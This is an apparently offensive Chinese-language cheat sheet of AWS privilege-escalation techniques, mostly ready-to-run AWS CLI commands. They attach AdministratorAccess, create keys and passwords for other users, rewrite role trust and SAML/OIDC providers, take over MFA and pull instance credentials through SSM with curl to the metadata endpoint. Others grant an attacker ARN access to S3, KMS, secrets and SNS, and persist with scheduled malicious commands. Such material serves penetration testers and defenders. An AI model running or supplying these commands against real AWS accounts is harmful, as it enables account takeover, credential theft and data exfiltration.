利用通用目标(Universal Target)调用任意 AWS API。
aws scheduler create-schedule --name privesc \
--schedule-expression "rate(5 minutes)" --flexible-time-window "Mode=OFF" \
--target '{"Arn":"arn:aws:scheduler:::aws-sdk:iam:putRolePolicy","RoleArn":"<role_with_putpolicy>","Input":"{\"RoleName\":\"<target>\",\"PolicyName\":\"admin\",\"PolicyDocument\":\"{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Effect\\\":\\\"Allow\\\",\\\"Action\\\":\\\"*\\\",\\\"Resource\\\":\\\"*\\\"}]}\"}"}'IAM/STS/Organizations 核心提权
本文档覆盖 IAM、STS、Organizations、IAM Identity Center (SSO)、Cognito 等身份与访问管理服务的提权技术。
IAM 策略操纵
iam:CreatePolicyVersion — 策略版本注入
所需权限:iam:CreatePolicyVersion
利用 --set-as-default 标志创建新策略版本并立即生效,无需 iam:SetDefaultPolicyVersion。
# 创建全权限策略文件
cat > /tmp/admin-policy.json << 'EOF'
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}
EOF
# 创建新版本并设为默认
aws iam create-policy-version \
--policy-arn <target_policy_arn> \
--policy-document file:///tmp/admin-policy.json \
--set-as-default结果:策略关联的所有实体立即获得 Admin 权限。
iam:SetDefaultPolicyVersion — 策略版本回滚
所需权限:iam:SetDefaultPolicyVersion
将策略回滚到之前更宽松的版本。
# 列出策略版本
aws iam list-policy-versions --policy-arn <policy_arn>
# 设置更宽松的版本为默认
aws iam set-default-policy-version --policy-arn <policy_arn> --version-id v2iam:AttachUserPolicy / AttachGroupPolicy / AttachRolePolicy — 附加托管策略
所需权限:iam:AttachUserPolicy 或 iam:AttachGroupPolicy 或 iam:AttachRolePolicy
# 附加 Admin 策略到用户
aws iam attach-user-policy --user-name <user> \
--policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
# 附加到组
aws iam attach-group-policy --group-name <group> \
--policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
# 附加到角色(需要 sts:AssumeRole 或 iam:CreateRole 配合)
aws iam attach-role-policy --role-name <role> \
--policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"iam:PutUserPolicy / PutGroupPolicy / PutRolePolicy — 添加内联策略
所需权限:对应 Put*Policy 权限
aws iam put-user-policy --user-name <user> --policy-name privesc \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'iam:AddUserToGroup — 加入高权限组
所需权限:iam:AddUserToGroup
aws iam add-user-to-group --group-name admin-group --user-name <user>IAM 凭据操纵
iam:CreateAccessKey — 为其他用户创建密钥
所需权限:iam:CreateAccessKey(可能需要 iam:DeleteAccessKey)
aws iam create-access-key --user-name <target_user>
# 如果目标已有 2 个密钥,需先删除一个
aws iam delete-access-key --access-key-id <key_id> --user-name <target_user>iam:CreateLoginProfile / UpdateLoginProfile — 设置控制台密码
所需权限:iam:CreateLoginProfile 或 iam:UpdateLoginProfile
# 创建登录配置
aws iam create-login-profile --user-name <target_user> \
--no-password-reset-required --password 'P@ssw0rd123!'
# 更新已有密码
aws iam update-login-profile --user-name <target_user> \
--no-password-reset-required --password 'P@ssw0rd123!'结果:可直接登录目标用户的 AWS 控制台。
iam:UpdateAccessKey — 重新激活禁用密钥
所需权限:iam:UpdateAccessKey
aws iam update-access-key --access-key-id <key_id> --status Active --user-name <user>iam:CreateServiceSpecificCredential — 服务专用凭据
所需权限:iam:CreateServiceSpecificCredential
为目标用户创建 CodeCommit 等服务的用户名/密码凭据,可用于克隆代码仓库获取泄露凭据。
aws iam create-service-specific-credential \
--user-name <target_user> \
--service-name codecommit.amazonaws.comIAM 信任策略修改
iam:UpdateAssumeRolePolicy — 修改角色信任策略
所需权限:iam:UpdateAssumeRolePolicy
cat > /tmp/trust.json << 'EOF'
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"sts:AssumeRole","Principal":{"AWS":"<attacker_arn>"}}]}
EOF
aws iam update-assume-role-policy --role-name <high_priv_role> \
--policy-document file:///tmp/trust.json
# 现在可以假冒该角色
aws sts assume-role --role-arn arn:aws:iam::<account>:role/<high_priv_role> \
--role-session-name privesciam:UpdateSAMLProvider — SAML 联合篡改
所需权限:iam:UpdateSAMLProvider、iam:ListSAMLProviders
攻击者替换 SAML IdP 元数据为自己控制的 IdP,然后伪造 SAML 断言假冒任何信任该 Provider 的角色。
# 枚举 SAML Provider
aws iam list-saml-providers
aws iam get-saml-provider --saml-provider-arn <provider_arn>
# 备份原始元数据后替换
aws iam update-saml-provider --saml-provider-arn <provider_arn> \
--saml-metadata-document file:///tmp/attacker-metadata.xml
# 使用伪造的 SAML 断言获取凭据
aws sts assume-role-with-saml --role-arn <role_arn> \
--principal-arn <provider_arn> --saml-assertion <base64_assertion>注意:替换期间合法 SSO 用户将无法登录,需及时恢复原始元数据。
iam:UpdateOpenIDConnectProviderThumbprint — OIDC 提权
所需权限:iam:UpdateOpenIDConnectProviderThumbprint
添加攻击者控制的证书指纹到 OIDC Provider,可登录信任该 Provider 的所有角色。
aws iam update-open-id-connect-provider-thumbprint \
--open-id-connect-provider-arn <arn> \
--thumbprint-list <attacker_thumbprint>IAM MFA 与权限边界
iam:CreateVirtualMFADevice + iam:EnableMFADevice — MFA 接管
所需权限:iam:CreateVirtualMFADevice、iam:EnableMFADevice(可能需要 iam:DeactivateMFADevice)
为目标用户注册攻击者控制的 MFA 设备,然后请求 MFA 认证的会话令牌。
# 如果目标已有 MFA,先停用
aws iam deactivate-mfa-device --user-name <target> \
--serial-number arn:aws:iam::<account>:mfa/<device>
# 创建虚拟 MFA 设备
aws iam create-virtual-mfa-device --virtual-mfa-device-name attacker-mfa \
--bootstrap-method Base32StringSeed --outfile /tmp/mfa-seed.txt
# 从 seed 生成两个连续 TOTP 码并启用
aws iam enable-mfa-device --user-name <target> \
--serial-number <serial> --authentication-code1 <code1> --authentication-code2 <code2>
# 获取 MFA 认证会话
aws sts get-session-token --serial-number <serial> --token-code <current_code>iam:PutUserPermissionsBoundary / PutRolePermissionsBoundary
所需权限:iam:PutUserPermissionsBoundary 或 iam:PutRolePermissionsBoundary
将权限边界设为无限制策略(Allow /),移除现有限制。
aws iam put-user-permissions-boundary --user-name <user> \
--permissions-boundary arn:aws:iam::<account>:policy/AllowAllSTS 提权
sts:AssumeRole — 角色链式提权
所需权限:目标角色信任策略允许当前实体(sts:AssumeRole 在角色侧配置)
# 枚举信任策略宽松的角色
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument.Statement[?Principal.AWS==`*`]]'
# 假冒角色
aws sts assume-role --role-arn <role_arn> --role-session-name privesc关键点:跨账户 AssumeRole 需要攻击者账户在自身策略中也有 sts:AssumeRole 权限。
sts:AssumeRoleWithWebIdentity — Web 身份提权
在 EKS 环境中,ServiceAccount Token 存储于 /var/run/secrets/eks.amazonaws.com/serviceaccount/token。
aws sts assume-role-with-web-identity \
--role-arn arn:aws:iam::<account>:role/<role_name> \
--role-session-name eks-privesc \
--web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/tokenIAM Roles Anywhere — 证书提权
当 IAM Roles Anywhere 信任策略未限制证书属性时,任何由信任锚 CA 签发的证书均可假冒角色。
aws_signing_helper credential-process \
--certificate client.pem --private-key client.key \
--trust-anchor-arn <trust_anchor_arn> \
--profile-arn <profile_arn> \
--role-arn <high_priv_role_arn>Organizations 跨账户提权
管理账户 → 子账户
拿下 Organizations 管理账户后,可直接在任何成员账户中创建角色或使用 OrganizationAccountAccessRole(默认存在于所有通过 Organizations 创建的账户中)。
IAM Identity Center (SSO) 提权
sso:PutInlinePolicyToPermissionSet — 注入权限集策略
所需权限:sso:PutInlinePolicyToPermissionSet、sso:ProvisionPermissionSet
aws sso-admin put-inline-policy-to-permission-set \
--instance-arn <instance_arn> --permission-set-arn <ps_arn> \
--inline-policy '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'
aws sso-admin provision-permission-set \
--instance-arn <instance_arn> --permission-set-arn <ps_arn> \
--target-type ALL_PROVISIONED_ACCOUNTSsso:CreateAccountAssignment — 分配权限集到用户
所需权限:sso:CreateAccountAssignment
aws sso-admin create-account-assignment --instance-arn <arn> \
--target-id <account_id> --target-type AWS_ACCOUNT \
--permission-set-arn <ps_arn> --principal-type USER --principal-id <user_id>identitystore:CreateGroupMembership — 加入高权限组
aws identitystore create-group-membership --identity-store-id <store_id> \
--group-id <group_id> --member-id UserId=<user_id>Cognito 提权
cognito-identity:SetIdentityPoolRoles — 角色劫持
所需权限:cognito-identity:SetIdentityPoolRoles、iam:PassRole
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <pool_id> --roles unauthenticated=<high_priv_role_arn>
# 获取凭据
aws cognito-identity get-id --identity-pool-id <pool_id>
aws cognito-identity get-credentials-for-identity --identity-id <identity_id>cognito-idp:AdminSetUserPassword — 用户接管
所需权限:cognito-idp:AdminSetUserPassword
aws cognito-idp admin-set-user-password --user-pool-id <pool_id> \
--username <victim> --password 'NewP@ss123!' --permanentcognito-idp:AdminUpdateUserAttributes — 属性篡改提权
修改基于属性的 RBAC 中的 custom:role 等字段实现应用层提权。
aws cognito-idp admin-update-user-attributes --user-pool-id <pool_id> \
--username <user> --user-attributes Name="custom:role",Value="admin"其他服务提权
本文档覆盖数据服务、安全服务和基础设施服务的提权路径,包括 S3、DynamoDB、RDS、KMS、SecretsManager、SNS、SQS、SSM、ECR、EBS、Lightsail 等。
SSM(Systems Manager)
ssm:SendCommand — 远程命令执行
所需权限:ssm:SendCommand
在运行 SSM Agent 的实例上执行命令,窃取实例角色凭据。
# 发现可控实例
aws ssm describe-instance-information
# 执行命令
aws ssm send-command --instance-ids <instance_id> \
--document-name "AWS-RunShellScript" \
--parameters 'commands=["curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ && curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role_name>"]'ssm:StartSession — 交互式 Shell
所需权限:ssm:StartSession
aws ssm start-session --target <instance_id>还可用于进入 ECS 容器(需 ExecuteCommand 已启用):
aws ssm start-session --target "ecs:<cluster>_<task_id>_<runtime_id>"ssm:DescribeParameters + ssm:GetParameter — 读取参数存储
所需权限:ssm:DescribeParameters、ssm:GetParameter
参数存储中常保存 SSH 密钥、API 密钥、数据库密码等敏感信息。
aws ssm describe-parameters
aws ssm get-parameter --name <param_name> --with-decryptionssm:CreateAssociation — 持久化命令执行
所需权限:ssm:CreateAssociation
创建状态管理器关联,以固定间隔自动执行命令。
aws ssm create-association --name AWS-RunShellScript \
--targets Key=InstanceIds,Values=<instance_id> \
--parameters 'commands=["<malicious_command>"]' \
--schedule-expression "rate(30 minutes)"S3
s3:PutObject + s3:GetObject — 配置文件篡改
所需权限:s3:PutObject、s3:GetObject
许多服务将配置存储在 S3 中,修改这些文件可间接提权:
- CloudFormation 模板桶:劫持部署,注入恶意资源
- EC2 UserData 脚本桶:注入恶意代码
- Terraform 状态文件(
.tfstate):注入恶意资源定义获取 RCE - CodeBuild buildspec.yml:修改构建命令
# 下载 CloudFormation 模板
aws s3 cp s3://cf-templates-<region>-<account>/template.json ./
# 修改后上传
aws s3 cp ./template.json s3://cf-templates-<region>-<account>/template.jsons3:PutBucketNotification — 部署劫持
配合 s3:PutObject 和 s3:GetObject 权限,利用桶通知劫持 CloudFormation 部署。在模板上传到部署之间的短暂窗口内替换内容。
Pacu 模块 cfn__resource_injection 可自动化此攻击。
s3:PutBucketPolicy — 桶策略修改
所需权限:s3:PutBucketPolicy(需来自同一账户)
aws s3api put-bucket-policy --bucket <bucket> --policy '{
"Version":"2012-10-17",
"Statement":[{"Effect":"Allow","Principal":{"AWS":"<attacker_arn>"},"Action":"s3:*","Resource":["arn:aws:s3:::<bucket>","arn:aws:s3:::<bucket>/*"]}]
}'s3:GetBucketAcl + s3:PutBucketAcl — ACL 修改
aws s3api put-bucket-acl --bucket <bucket> --access-control-policy file://acl.jsonDynamoDB
dynamodb:PutResourcePolicy — 资源策略注入
所需权限:dynamodb:PutResourcePolicy
自 2024 年 3 月起 DynamoDB 支持资源策略。攻击者可授予自己或外部账户对表的完全访问权限。管理员授予 dynamodb:Put* 时可能意外包含此权限。
aws dynamodb put-resource-policy --resource-arn <table_arn> \
--policy '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"AWS":"<attacker_arn>"},"Action":"dynamodb:*","Resource":"<table_arn>"}]}'注意:DynamoDB 表中可能包含 AWS 凭据或可触发 Lambda 代码注入的数据。
RDS
rds:ModifyDBInstance — 重置数据库密码
所需权限:rds:ModifyDBInstance
aws rds modify-db-instance --db-instance-identifier <db_id> \
--master-user-password 'NewP@ss123!' --apply-immediately前提:需要能够网络连接到数据库实例(通常只能从 VPC 内部访问)。
rds:AddRoleToDBCluster + iam:PassRole — 角色注入
将高权限角色附加到 RDS 集群,通过数据库函数(如 PostgreSQL 的 aws_s3 扩展)访问 AWS 资源。
aws rds add-role-to-db-cluster --db-cluster-identifier <cluster> \
--role-arn <high_priv_role_arn>数据库内提权(Aurora PostgreSQL/MySQL)
已在数据库内时,利用已附加的 IAM 角色通过扩展访问 S3:
-- PostgreSQL
SELECT aws_s3.table_import_from_s3('ttemp','','(format text)',
aws_commons.create_s3_uri('bucket-name','secret-file.txt','us-east-1'));
-- MySQL
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);KMS
kms:PutKeyPolicy — 密钥策略修改
所需权限:kms:PutKeyPolicy(可选 kms:ListKeys、kms:GetKeyPolicy)
修改 KMS 密钥策略,授予攻击者完全控制。
aws kms put-key-policy --key-id <key_id> --policy-name default \
--policy '{"Version":"2012-10-17","Statement":[
{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::<account>:root"},"Action":"kms:*","Resource":"*"},
{"Effect":"Allow","Principal":{"AWS":"<attacker_arn>"},"Action":"kms:*","Resource":"*"}
]}'kms:CreateGrant — 密钥使用授权
所需权限:kms:CreateGrant
aws kms create-grant --key-id <key_id> \
--grantee-principal <attacker_arn> --operations Decrypt Encrypt注意:Grant 生效可能需要几分钟。
kms:CreateKey + kms:ReplicateKey — 密钥复制提权
将多区域 KMS 密钥复制到其他区域,并设置更宽松的策略。
aws kms replicate-key --key-id <mrk_key_id> --replica-region <region> \
--bypass-policy-lockout-safety-check \
--policy '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"AWS":"*"},"Action":"kms:*","Resource":"*"}]}'SecretsManager
secretsmanager:GetSecretValue — 读取密钥
所需权限:secretsmanager:GetSecretValue
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id <secret_name>secretsmanager:PutResourcePolicy — 资源策略修改
授予外部账户访问密钥的权限。
aws secretsmanager put-resource-policy --secret-id <secret_name> \
--resource-policy '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"AWS":"<attacker_account_arn>"},"Action":"secretsmanager:GetSecretValue","Resource":"*"}]}'SNS
sns:Subscribe — 消息窃听
所需权限:sns:Subscribe
订阅 SNS 主题获取敏感信息。
aws sns subscribe --topic-arn <topic_arn> --protocol https \
--endpoint https://<attacker_server>/snssns:AddPermission — 授予未授权访问
aws sns add-permission --topic-arn <topic_arn> --label attacker \
--aws-account-id <attacker_account> --action-name Publish SubscribeSNS 触发 Lambda(无 SourceArn 限制)
当 Lambda 资源策略允许 sns.amazonaws.com 调用但未限制 SourceArn 时,攻击者可创建自己的 SNS 主题订阅目标 Lambda 并触发执行。
TOPIC=$(aws sns create-topic --name attacker-topic --query TopicArn --output text)
aws sns subscribe --topic-arn $TOPIC --protocol lambda \
--notification-endpoint <victim_lambda_arn>
aws sns publish --topic-arn $TOPIC --message '<attacker_controlled_input>'SQS
sqs:AddPermission — 队列访问授权
aws sqs add-permission --queue-url <url> --label attacker \
--aws-account-ids <attacker_account> --actions SendMessage ReceiveMessagesqs:ReceiveMessage — 消息窃取
aws sqs receive-message --queue-url <url>ECR
ecr:SetRepositoryPolicy — 仓库策略修改
修改 ECR 仓库策略,允许未授权拉取或推送镜像。
aws ecr set-repository-policy --repository-name <repo> \
--policy-text '{"Version":"2008-10-17","Statement":[{"Effect":"Allow","Principal":"*","Action":["ecr:BatchGetImage","ecr:GetDownloadUrlForLayer"]}]}'ecr:PutImage — 镜像标签覆盖(供应链攻击)
覆盖已有标签(如 stable、prod)为恶意镜像,影响下游 Lambda 容器函数、ECS 服务等。
ecr:CreatePullThroughCacheRule — 缓存规则劫持
创建拉取缓存规则映射攻击者控制的上游仓库到受信任的私有 ECR 前缀。
aws ecr create-pull-through-cache-rule --ecr-repository-prefix trusted \
--upstream-registry-url public.ecr.awsEBS
ebs:ListSnapshotBlocks + ebs:GetSnapshotBlock — 快照数据窃取
所需权限:ebs:ListSnapshotBlocks、ebs:GetSnapshotBlock、ec2:DescribeSnapshots
下载 EBS 快照并在本地分析,可提取凭据、密码(如 Active Directory NTDS.dit)。
工具:CloudCopy(自动化从域控制器提取密码哈希)。
ec2:CreateSnapshot — 域控快照
aws ec2 create-snapshot --volume-id <dc_volume_id> --description "privesc"CloudFormation(无 PassRole)
cloudformation:UpdateStack — 利用已附加角色
所需权限:cloudformation:UpdateStack(或 cloudformation:SetStackPolicy 获取该权限)
无需 PassRole,直接利用已有 Stack 的附加角色。
aws cloudformation update-stack --stack-name <existing_stack> \
--template-url https://<bucket>.s3.amazonaws.com/malicious.json \
--capabilities CAPABILITY_IAMcloudformation:CreateChangeSet + cloudformation:ExecuteChangeSet
aws cloudformation create-change-set --stack-name <stack> \
--change-set-name privesc --change-set-type UPDATE \
--template-url https://<bucket>.s3.amazonaws.com/template.json \
--capabilities CAPABILITY_IAM
aws cloudformation execute-change-set --change-set-name privesc --stack-name <stack>Lightsail
lightsail:DownloadDefaultKeyPair / GetInstanceAccessDetails
注意:Lightsail 使用 AWS 托管账户角色而非用户 IAM 角色,无法用于 IAM 级别提权。但可获取实例内敏感信息。
aws lightsail download-default-key-pair
aws lightsail get-instance-access-details --instance-name <name>lightsail:GetRelationalDatabaseMasterUserPassword
aws lightsail get-relational-database-master-user-password \
--relational-database-name <name>EventBridge(无 PassRole)
已有高权限 Scheduler 角色
如果已有 EventBridge Scheduler 使用高权限角色,可通过 scheduler:UpdateSchedule 修改目标执行任意 API。
Redshift
redshift:GetClusterCredentials
获取 Redshift 集群的临时数据库凭据,可用于访问数据库内的敏感数据。
aws redshift get-cluster-credentials --db-user <user> \
--cluster-identifier <cluster_id> --database-name <db>EFS
elasticfilesystem:PutFileSystemPolicy
修改 EFS 文件系统策略,授予未授权访问。
Route53 / ACM-PCA
route53:CreateHostedZone + route53:ChangeResourceRecordSets + acm-pca:IssueCertificate
创建托管区域、修改 DNS 记录并利用 ACM 私有 CA 签发证书,可用于中间人攻击。